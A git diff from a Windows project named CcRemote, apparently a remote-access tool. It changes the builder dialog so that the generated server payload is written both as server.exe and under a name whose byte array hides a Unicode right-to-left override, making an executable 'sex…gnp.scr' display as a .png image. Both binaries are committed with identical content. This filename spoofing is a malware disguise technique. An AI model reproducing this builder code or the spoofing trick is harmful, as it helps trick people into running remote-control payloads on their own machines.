diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 2320955..c863e2d 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm new file mode 100644 index 0000000..e1c8082 Binary files /dev/null and b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm differ diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal new file mode 100644 index 0000000..85ee599 Binary files /dev/null and b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal differ diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index cd9cc47..eb6e4ca 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CBuildDlg.cpp b/CcRemote/CcRemote/CBuildDlg.cpp index 632481a..ba5eea6 100644 --- a/CcRemote/CcRemote/CBuildDlg.cpp +++ b/CcRemote/CcRemote/CBuildDlg.cpp @@ -46,21 +46,40 @@ END_MESSAGE_MAP() // CBuildDlg 消息处理程序 +bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize) +{ + DWORD dwWritten; + + HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if (hFile != NULL) + { + WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL); + } + else + { + return false; + } + CloseHandle(hFile); + return true; +} + + void CBuildDlg::OnBnClickedOk() { // TODO: 在此添加控件通知处理程序代码 CFile file; char strTemp[MAX_PATH]; + WCHAR strTempW[MAX_PATH]; ZeroMemory(strTemp, MAX_PATH); CString strCurrentPath; + CStringW strCurrentPathW; CString strFile; CString strSeverFile; CString strCamouflageFile; BYTE *lpBuffer = NULL; - char names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 }; - WCHAR namess[60] = L"F:\\myapp\\CcRemote\\bin\\server\\"; + BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 }; + PWCHAR namess = (PWCHAR)names; - memcpy(namess + 29, names, 0x24); DWORD dwFileSize; UpdateData(TRUE); @@ -71,6 +90,12 @@ void CBuildDlg::OnBnClickedOk() { //此处得到未处理前的文件名 GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名 + GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名 + + strCurrentPathW = strTempW; + + strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\')); + strCurrentPath = strTemp; int nPos = strCurrentPath.ReverseFind('\\'); strCurrentPath = strCurrentPath.Left(nPos); @@ -96,15 +121,10 @@ void CBuildDlg::OnBnClickedOk() //else //{ //保存到文件 - strSeverFile = "F:\\myapp\\CcRemote\\bin\\server\\"; - strSeverFile += names; - HANDLE hFile = CreateFileW(namess, //第一个参数:路径 - GENERIC_READ, //打开方式: - 0, //共享模式:0为独占 - NULL, - OPEN_EXISTING, //打开已存在的文件 - FILE_FLAG_BACKUP_SEMANTICS, //FILE_FLAG_BACKUP_SEMANTICS表示为目录,NULL表示文件 - NULL); + strSeverFile = strCurrentPath+"\\server.exe"; + + strCurrentPathW = strCurrentPathW + L"\\" + namess; + CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize); file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); file.Write(lpBuffer, dwFileSize); file.Close(); @@ -174,4 +194,5 @@ CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize) FindClose(h); return a; -} \ No newline at end of file +} + diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log index a5ca299..87f34b4 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.log +++ b/CcRemote/CcRemote/Debug/CcRemote.log @@ -1,13 +1,23 @@ -C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 +G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 CBuildDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(80): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(68): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(117): warning C4101: “e”: 未引用的局部变量 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(121): warning C4101: “e”: 未引用的局部变量 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(125): warning C4101: “e”: 未引用的局部变量 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(153): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(154): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 - CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: “e”: 未引用的局部变量 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: “e”: 未引用的局部变量 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: “e”: 未引用的局部变量 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +zlibstat.lib(adler32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(adler32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(compress.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(compress.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(crc32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(crc32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(deflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(deflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(inffast.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inffast.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(inflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(inftrees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inftrees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(trees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(trees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(uncompr.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(uncompr.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(zutil.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(zutil.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 + CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Debug/CcRemote.res b/CcRemote/CcRemote/Debug/CcRemote.res index d5e2480..b275b8f 100644 Binary files a/CcRemote/CcRemote/Debug/CcRemote.res and b/CcRemote/CcRemote/Debug/CcRemote.res differ diff --git a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate index c0e4c06..4f8bf97 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate +++ b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|F:\myapp\CcRemote\CcRemote\| +Debug|Win32|G:\CcRemote\CcRemote\CcRemote\| diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe index 622dedb..709adc8 100644 Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ diff --git a/bin/server.exe b/bin/server.exe new file mode 100644 index 0000000..5d5899c Binary files /dev/null and b/bin/server.exe differ diff --git a/bin/sex‮gnp.scr b/bin/sex‮gnp.scr new file mode 100644 index 0000000..5d5899c Binary files /dev/null and b/bin/sex‮gnp.scr differ